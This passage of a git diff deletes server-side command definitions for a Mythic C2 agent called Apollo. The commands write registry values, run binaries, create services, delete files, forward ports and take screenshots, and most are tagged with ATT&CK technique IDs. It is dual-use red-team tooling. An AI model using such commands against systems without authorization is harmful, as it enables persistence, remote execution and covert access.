"post_response", - "responses": [ - { - "task_id": taskData.Task.AgentTaskID, - "custom_browser": { - "browser_name": "registry_browser", - "entries": [ - { - "name": "HKLM", - "parent_path": "", - "can_have_children": True, - }, - { - "name": "HKCU", - "parent_path": "", - "can_have_children": True, - }, - { - "name": "HKU", - "parent_path": "", - "can_have_children": True, - }, - { - "name": "HKCR", - "parent_path": "", - "can_have_children": True, - }, - { - "name": "HKCC", - "parent_path": "", - "can_have_children": True, - } - ] - }, - "user_output": "Valid Hives are HKLM, HKCU, HKU, HKCR, and HKCC" - } - ] - } - )) - return response - if taskData.args.get_arg("key"): - response.DisplayParams = "-Hive {} -Key {}".format(taskData.args.get_arg("hive"), taskData.args.get_arg("key")) - else: - response.DisplayParams = "-Hive {}".format(taskData.args.get_arg("hive")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/reg_write_value.py b/Payload_Type/apollo/apollo/mythic/agent_functions/reg_write_value.py deleted file mode 100644 index 42b157a7..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/reg_write_value.py +++ /dev/null @@ -1,194 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - -ValueTypeMap = { - "REG_SZ": 1, - "REG_EXPAND_SZ": 2, - "REG_BINARY": 3, - "REG_DWORD": 4, - "REG_MULTI_SZ": 7, - "REG_QWORD": 11, - "UNKNOWN": 0 -} - -class RegWriteValueArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="hive", - cli_name="Hive", - display_name="Registry Hive", - type=ParameterType.ChooseOne, - description="The hive to query", - default_value="HKLM", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1 - ), - ], - choices=["HKLM", "HKCU", "HKU", "HKCR", "HKCC"] - ), - CommandParameter( - name="key", - cli_name="Key", - display_name="Registry Key", - type=ParameterType.String, - description='Registry key to interrogate.', - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2 - ), - ], - default_value='\\' - ), - CommandParameter( - name="value_name", - cli_name="Name", - display_name="Name", - type=ParameterType.String, - description='Registry value to write to.', - default_value='', - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=3 - ), - ]), - CommandParameter( - name="value_value", - cli_name="Value", - display_name="Value", - type=ParameterType.String, - description='New value to store in the above registry value.', - default_value='', - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=4 - ), - ]), - CommandParameter( - name="value_type", - cli_name="ValueType", - display_name="Value Type", - type=ParameterType.ChooseOne, - description="The Type of value to write into the registry", - default_value="REG_SZ", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=5 - ), - ], - choices=["REG_SZ", "REG_EXPAND_SZ", "REG_BINARY", "REG_DWORD", "REG_MULTI_SZ", "REG_QWORD", "UNKNOWN"] - ), - ] - - def split_commandline(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - hiveMap = { - "HKEY_LOCAL_MACHINE": "HKLM", - "HKEY_CURRENT_USER": "HKCU", - "HKEY_USERS": "HKU", - "HKEY_CLASSES_ROOT": "HKCR", - "HKEY_CURRENT_CONFIG": "HKCC" - } - - - async def parse_dictionary(self, dictionary_arguments): - self.load_args_from_dictionary(dictionary=dictionary_arguments) - hive = self.get_arg("hive") - parts = hive.split("\\") - hiveClean = parts[0].replace(":", "").strip().upper() - if hiveClean in self.hiveMap.keys(): - self.add_arg("hive", self.hiveMap[hiveClean]) - elif hiveClean in ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]: - self.add_arg("hive", hiveClean) - else: - raise Exception("Invalid hive: " + hiveClean) - if len(parts) > 1: - self.add_arg("value_value", self.get_arg("value_name")) - self.add_arg("value_name", self.get_arg("key")) - self.add_arg("key", "\\".join(parts[1:])) - - async def parse_arguments(self): - cmds = self.split_commandline() - if len(cmds) != 3: - raise Exception("Failed to parse command line arguments. Expected two arguments, got {}\n\tUsage: {}".format(cmds, RegWriteValueBase.help_cmd)) - - parts = cmds[0].split("\\") - hiveClean = parts[0].replace(":", "").strip().upper() - if hiveClean in self.hiveMap.keys(): - self.add_arg("hive", self.hiveMap[hiveClean]) - elif hiveClean in ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]: - self.add_arg("hive", hiveClean) - else: - raise Exception("Invalid hive: " + hiveClean) - self.add_arg("key", "\\".join(parts[1:])) - self.add_arg("value_name", cmds[1]) - self.add_arg("value_value", cmds[2]) - - - -class RegWriteValueBase(CommandBase): - cmd = "reg_write_value" - needs_admin = False - help_cmd = "reg_write_value [key] [value_name] [new_value]" - description = "Write a new value to the [value_name] value under the specified registry key [key].\n\nEx: reg_write_value HKLM:\\ '' 1234" - version = 2 - author = "@djhohnstein" - argument_class = RegWriteValueArguments - supported_ui_features = ["registry_browser:set_value"] - attackmapping = ["T1547", "T1037", "T1546", "T1574", "T1112", "T1003"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - valueType = taskData.args.get_arg("value_type") - if valueType in ValueTypeMap: - taskData.args.add_arg("value_type", type=ParameterType.Number, value=ValueTypeMap[valueType]) - else: - raise Exception("unknown value type supplied") - - response.DisplayParams = "-Hive {} -Key {} -Name '{}' -Value '{}' -ValueType".format(taskData.args.get_arg("hive"), - taskData.args.get_arg("key"), - taskData.args.get_arg("value_name"), - taskData.args.get_arg("value_value"), - valueType) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/register_assembly.py b/Payload_Type/apollo/apollo/mythic/agent_functions/register_assembly.py deleted file mode 100644 index 5df03b92..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/register_assembly.py +++ /dev/null @@ -1,30 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import base64 -import sys -from apollo.mythic.agent_functions.register_file import * - -class RegisterAssemblyAlias(RegisterFileCommand, CommandBase): - cmd = "register_assembly" - attributes=CommandAttributes( - dependencies=["register_file"], - alias=True - ) - needs_admin = False - help_cmd = "register_assembly (modal popup)" - description = "Import a new Assembly into the agent cache." - version = 2 - author = "@djhohnstein" - - - async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse: - - response = await super().create_go_tasking(taskData) - response.CommandName = super().cmd - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/register_coff.py b/Payload_Type/apollo/apollo/mythic/agent_functions/register_coff.py deleted file mode 100644 index 3ce59f7c..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/register_coff.py +++ /dev/null @@ -1,29 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -from apollo.mythic.agent_functions.register_file import * -import base64 - - -class RegisterCoffAlias(RegisterFileCommand, CommandBase): - cmd = "register_coff" - attributes = CommandAttributes( - dependencies=["register_file"], - alias=True - ) - needs_admin = False - help_cmd = "register_coff (modal popup)" - description = "Import a new COFF into the agent cache." - version = 2 - author = "@__Retrospect" - - async def create_go_tasking(self, - taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse: - response = await super().create_go_tasking(taskData) - response.CommandName = super().cmd - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/register_file.py b/Payload_Type/apollo/apollo/mythic/agent_functions/register_file.py deleted file mode 100644 index d7fcc216..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/register_file.py +++ /dev/null @@ -1,122 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import base64 - -class RegisterFileArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="file", - cli_name="File", - display_name="File", - type=ParameterType.File, - parameter_group_info=[ParameterGroupInfo( - ui_position=1, - required=True, - group_name="Default" - )] - ), - CommandParameter( - name="existingFile", - cli_name="existingFile", - display_name="Existing File", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - parameter_group_info=[ParameterGroupInfo( - ui_position=1, - required=True, - group_name="Use Existing File" - )] - ) - ] - - async def get_files( self, inputMsg: PTRPCDynamicQueryFunctionMessage ) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - file_resp = await SendMythicRPCFileSearch( - MythicRPCFileSearchMessage( - CallbackID=inputMsg.Callback, - LimitByCallback=False, - Filename="", - ) - ) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names: - file_names.append(f.Filename) - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = file_resp.Error - return fileResponse - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No arguments given.") - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - pass - - -class RegisterFileCommand(CommandBase): - cmd = "register_file" - needs_admin = False - help_cmd = "register_file (modal popup)" - description = "Register a file to later use in the agent." - version = 2 - author = "@djhohnstein" - argument_class = RegisterFileArguments - attackmapping = ["T1547"] - attributes = CommandAttributes( - builtin=True, - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - if taskData.args.get_parameter_group_name() == "Default": - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("file") - )) - if file_resp.Success: - original_file_name = file_resp.Files[0].Filename - else: - raise Exception("Failed to fetch uploaded file from Mythic (ID: {})".format(taskData.args.get_arg("file"))) - taskData.args.add_arg("file_name", original_file_name, parameter_group_info=[ParameterGroupInfo( - group_name="Default" - )]) - taskData.args.add_arg("file_id", taskData.args.get_arg("file"), parameter_group_info=[ParameterGroupInfo( - group_name="Default" - )]) - response.DisplayParams = original_file_name - else: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - Filename=taskData.args.get_arg("existingFile"), - MaxResults=1, - )) - if not file_resp.Success: - raise Exception("Failed to fetch find file from Mythic (name: {})".format(taskData.args.get_arg("existingFile"))) - response.DisplayParams = file_resp.Files[0].Filename - taskData.args.add_arg("file_name", file_resp.Files[0].Filename, parameter_group_info=[ParameterGroupInfo( - group_name="Use Existing File" - )]) - taskData.args.add_arg("file_id", file_resp.Files[0].AgentFileId, parameter_group_info=[ParameterGroupInfo( - group_name="Use Existing File" - )]) - taskData.args.remove_arg("existingFile") - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/rev2self.py b/Payload_Type/apollo/apollo/mythic/agent_functions/rev2self.py deleted file mode 100644 index d664e5fa..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/rev2self.py +++ /dev/null @@ -1,36 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class Rev2SelfArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line.strip()) > 0: - raise Exception("rev2self takes no command line arguments.") - pass - - -class Rev2SelfCommand(CommandBase): - cmd = "rev2self" - needs_admin = False - help_cmd = "rev2self" - description = "Revert token to implant's primary token." - version = 2 - author = "@djhohnstein" - argument_class = Rev2SelfArguments - attackmapping = [] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/rm.py b/Payload_Type/apollo/apollo/mythic/agent_functions/rm.py deleted file mode 100644 index e7149394..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/rm.py +++ /dev/null @@ -1,95 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -import re - - -class RmArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="path", - cli_name="path", - display_name="Directory of File", - type=ParameterType.String, - description="The full path of the file to remove on the specified host"), - ] - - async def parse_dictionary(self, dictionary_arguments): - logger.info(dictionary_arguments) - logger.info(self.tasking_location) - self.load_args_from_dictionary(dictionary_arguments) - if "host" in dictionary_arguments: - if "full_path" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}') - elif "path" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}') - elif "file" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}') - else: - logger.info("unknown dictionary args") - else: - if "path" not in dictionary_arguments or dictionary_arguments["path"] is None: - self.add_arg("path", f'.') - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("rm requires a path to remove.\n\tUsage: {}".format(RmCommand.help_cmd)) - # Check if named parameters were defined - cli_names = [arg.cli_name for arg in self.args if arg.cli_name is not None] - if ( - any([self.raw_command_line.startswith(f"-{cli_name} ") for cli_name in cli_names]) - or any([f" -{cli_name} " in self.raw_command_line for cli_name in cli_names]) - ): - args = json.loads(self.command_line) - # Freeform unmatched arguments - else: - args = {"path": "."} - if len(self.raw_command_line) > 0: - args["path"] = self.raw_command_line - self.load_args_from_dictionary(args) - - -class RmCommand(CommandBase): - cmd = "rm" - needs_admin = False - help_cmd = "rm [path]" - description = "Delete a file specified by [path]" - version = 2 - supported_ui_features = ["file_browser:remove"] - author = "@djhohnstein" - argument_class = RmArguments - attackmapping = ["T1070.004", "T1565"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - path = taskData.args.get_arg("path") - response.DisplayParams = path - - if uncmatch := re.match( - r"^\\\\(?P[^\\]+)\\(?P.*)$", - path, - ): - taskData.args.add_arg("host", uncmatch.group("host")) - taskData.args.set_arg("path", uncmatch.group("path")) - else: - # Set the host argument to an empty string if it does not exist - taskData.args.add_arg("host", "") - if host := taskData.args.get_arg("host"): - host = host.upper() - - # Resolve 'localhost' and '127.0.0.1' aliases - if host == "127.0.0.1" or host.lower() == "localhost": - host = taskData.Callback.Host - - taskData.args.set_arg("host", host) - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/rpfwd.py b/Payload_Type/apollo/apollo/mythic/agent_functions/rpfwd.py deleted file mode 100644 index fee4421f..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/rpfwd.py +++ /dev/null @@ -1,159 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * - -class RpfwdArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="port", - cli_name="Port", - display_name="Port", - type=ParameterType.Number, - description="Port to listen for connections on the target host.", - parameter_group_info=[ParameterGroupInfo( - required=True, - ui_position=1, - )] - ), - CommandParameter( - name="remote_port", - cli_name="RemotePort", - display_name="Remote Port", - type=ParameterType.Number, - description="Remote port to send rpfwd traffic to.", - parameter_group_info=[ParameterGroupInfo( - required=True, - ui_position=3, - )] - ), - CommandParameter( - name="remote_ip", - cli_name="RemoteIP", - display_name="Remote IP", - type=ParameterType.String, - description="Remote IP to send rpfwd traffic to.", - parameter_group_info=[ParameterGroupInfo( - required=True, - ui_position=2, - )] - ), - CommandParameter( - name="username", - cli_name="Username", - display_name="Port Auth Username", - type=ParameterType.String, - description="Must auth as this user to use the SOCKS port.", - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=4, - )] - ), - CommandParameter( - name="password", - cli_name="Password", - display_name="Port Auth Password", - type=ParameterType.String, - description="Must auth with this password to use the SOCKS port.", - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=5, - )] - ), - CommandParameter( - name="debugLevel", - cli_name="DebugLevel", - display_name="DebugLevel", - type=ParameterType.ChooseOne, - choices=["None", "Connections", "Received Data", "Sent Data"], - default_value="Connections", - description="Report debug messages back to Mythic. 'Connections' is just data about new/closed connections, 'Received Data' is connections plus data sent to the local port Apollo is bound to, 'Sent Data' is the other two plus data that Apollo is sending back to the remote connection.", - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=6, - )] - ), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Must be passed a port on the command line.") - try: - self.load_args_from_json_string(self.command_line) - except: - port = self.command_line.lower().strip() - try: - self.add_arg("port", int(port)) - except Exception as e: - raise Exception("Invalid port number given: {}. Must be int.".format(port)) - - -class RpfwdCommand(CommandBase): - cmd = "rpfwd" - needs_admin = False - help_cmd = "rpfwd -Port 445 -RemoteIP 1.2.3.4 -RemotePort 80" - description = "Start listening on a port on the target host and forwarding traffic through Mythic to the remoteIP:remotePort. Stop this with the jobs and jobkill commands" - version = 2 - script_only = False - author = "@its_a_feature_" - argument_class = RpfwdArguments - attackmapping = [] - attributes=CommandAttributes( - dependencies=[] - ) - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage( - TaskID=taskData.Task.ID, - PortType="rpfwd", - LocalPort=taskData.args.get_arg("port"), - RemoteIP=taskData.args.get_arg("remote_ip"), - RemotePort=taskData.args.get_arg("remote_port"), - Username=taskData.args.get_arg("username"), - Password=taskData.args.get_arg("password") - )) - - if not resp.Success: - response.TaskStatus = MythicStatus.Error - response.Stderr = resp.Error - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=resp.Error.encode() - )) - response.Completed = True - else: - response.DisplayParams = f"-Port {taskData.args.get_arg('port')} -RemoteIP {taskData.args.get_arg('remote_ip')} -RemotePort {taskData.args.get_arg('remote_port')}" - if taskData.args.get_arg("debugLevel") != "None": - response.DisplayParams += f" -DebugLevel \"{taskData.args.get_arg('debugLevel')}\"" - debugLevel = taskData.args.get_arg("debugLevel") - if debugLevel == "None": - taskData.args.add_arg("debugLevel", value=0, type=ParameterType.Number) - elif debugLevel == "Connections": - taskData.args.add_arg("debugLevel", value=1, type=ParameterType.Number) - elif debugLevel == "Received Data": - taskData.args.add_arg("debugLevel", value=2, type=ParameterType.Number) - else: - taskData.args.add_arg("debugLevel", value=3, type=ParameterType.Number) - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=f"Starting server on port {taskData.args.get_arg('port')} where Apollo is running.\nUpdating Sleep to 0\n".encode() - )) - await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="sleep", - Params=json.dumps({ - "interval": 0, - }) - )) - return response - - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp - diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/run.py b/Payload_Type/apollo/apollo/mythic/agent_functions/run.py deleted file mode 100644 index ba756f9a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/run.py +++ /dev/null @@ -1,71 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class RunArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="executable", - cli_name="Executable", - display_name="Executable", - type=ParameterType.String, - description="Path to an executable to run.", - parameter_group_info=[ParameterGroupInfo(required=True, ui_position=0)], - ), - CommandParameter( - name="arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.String, - description="Arguments to pass to the executable.", - parameter_group_info=[ - ParameterGroupInfo(required=False, ui_position=1) - ], - ), - ] - - async def parse_arguments(self): - if len(self.command_line.strip()) == 0: - raise Exception( - "run requires a path to an executable to run.\n\tUsage: {}".format( - RunCommand.help_cmd - ) - ) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.command_line.split(" ", 1) - self.add_arg("executable", parts[0]) - if len(parts) > 1: - self.add_arg("arguments", parts[1]) - pass - - -class RunCommand(CommandBase): - cmd = "run" - needs_admin = False - help_cmd = "run [binary] [arguments]" - description = "Execute a binary on the target system. This will properly use %PATH% without needing to specify full locations." - version = 2 - author = "@djhohnstein" - argument_class = RunArguments - attackmapping = ["T1106", "T1218", "T1553"] - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "-Executable {} -Arguments {}".format( - taskData.args.get_arg("executable"), taskData.args.get_arg("arguments") - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/sc.py b/Payload_Type/apollo/apollo/mythic/agent_functions/sc.py deleted file mode 100644 index fcd376f5..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/sc.py +++ /dev/null @@ -1,253 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class ScArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="query", - cli_name="Query", - display_name="Query", - type=ParameterType.Boolean, - default_value=False, - description="Query for services", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Query" - ), - ]), - CommandParameter( - name="start", - cli_name="Start", - display_name="Start", - type=ParameterType.Boolean, - default_value=False, - description="Service controller action to perform.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Start" - ), - ]), - CommandParameter( - name="stop", - cli_name="Stop", - display_name="Stop", - type=ParameterType.Boolean, - default_value=False, - description="Service controller action to perform.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Stop" - ), - ]), - CommandParameter( - name="create", - cli_name="Create", - display_name="Create", - type=ParameterType.Boolean, - default_value=False, - description="Service controller action to perform.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Create" - ), - ]), - CommandParameter( - name="delete", - cli_name="Delete", - display_name="Delete", - type=ParameterType.Boolean, - default_value=False, - description="Service controller action to perform.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Delete" - ), - ]), - CommandParameter( - name="computer", - cli_name="Computer", - display_name="Computer", - type=ParameterType.String, - description="Host to perform the service action on.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Query" - ), - ParameterGroupInfo( - required=False, - group_name="Start" - ), - ParameterGroupInfo( - required=False, - group_name="Stop" - ), - ParameterGroupInfo( - required=False, - group_name="Create" - ), - ParameterGroupInfo( - required=False, - group_name="Delete" - ), - ]), - CommandParameter( - name="service", - cli_name="ServiceName", - display_name="Service Name", - type=ParameterType.String, - description="The name of the service.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Query" - ), - ParameterGroupInfo( - required=True, - group_name="Start" - ), - ParameterGroupInfo( - required=True, - group_name="Stop" - ), - ParameterGroupInfo( - required=True, - group_name="Create" - ), - ParameterGroupInfo( - required=True, - group_name="Delete" - ), - ]), - CommandParameter( - name="display_name", - cli_name="DisplayName", - display_name="Display Name of Service", - type=ParameterType.String, - description="The display name of the service", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Query" - ), - ParameterGroupInfo( - required=True, - group_name="Create" - ), - ]), - CommandParameter( - name="binpath", - cli_name="BinPath", - display_name="Binary Path", - type=ParameterType.String, - description="Path to the binary used in the create action.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Create" - ), - ]), - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - errorMsg = "Missing required argument: {}" - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise Exception("Require JSON.") - - -class ScCommand(CommandBase): - cmd = "sc" - needs_admin = False - help_cmd = "sc" - description = "Service control manager wrapper function" - version = 3 - author = "@djhohnstein" - argument_class = ScArguments - attackmapping = ["T1106"] - supported_ui_features = ["sc:start", "sc:stop", "sc:delete"] - browser_script = BrowserScript(script_name="sc", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - computer = taskData.args.get_arg("computer") - service_name = taskData.args.get_arg("service") - display_name = taskData.args.get_arg("display_name") - binpath = taskData.args.get_arg("binpath") - - - query = taskData.args.get_arg("query") - if query: - response.DisplayParams = "-Query" - start = taskData.args.get_arg("start") - if start: - response.DisplayParams = "-Start" - stop = taskData.args.get_arg("stop") - if stop: - response.DisplayParams = "-Stop" - create = taskData.args.get_arg("create") - if create: - response.DisplayParams = "-Create" - delete = taskData.args.get_arg("delete") - if delete: - response.DisplayParams = "-Delete" - - if not any([query, start, stop, create, delete]): - raise Exception("Failed to get a valid action to perform.") - if computer is not None and computer != "": - response.DisplayParams += " -Computer {}".format(computer) - - if service_name is not None and service_name != "": - response.DisplayParams += " -Service {}".format(service_name) - - if display_name is not None and display_name != "": - response.DisplayParams += " -DisplayName '{}'".format(display_name) - - if binpath is not None and binpath != "": - response.DisplayParams += " -BinPath '{}'".format(binpath) - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/screenshot.py b/Payload_Type/apollo/apollo/mythic/agent_functions/screenshot.py deleted file mode 100644 index 6ec51bcd..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/screenshot.py +++ /dev/null @@ -1,38 +0,0 @@ -from mythic_container.MythicCommandBase import * -from uuid import uuid4 -import json -from os import path -from mythic_container.MythicRPC import * -import base64 - -class ScreenshotArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - pass - - -class ScreenshotCommand(CommandBase): - cmd = "screenshot" - needs_admin = False - help_cmd = "screenshot" - description = "Take a screenshot of the current desktop." - version = 2 - author = "@reznok, @djhohnstein" - argument_class = ScreenshotArguments - browser_script = BrowserScript(script_name="screenshot", author="@djhohnstein", for_new_ui=True) - attackmapping = ["T1113"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> 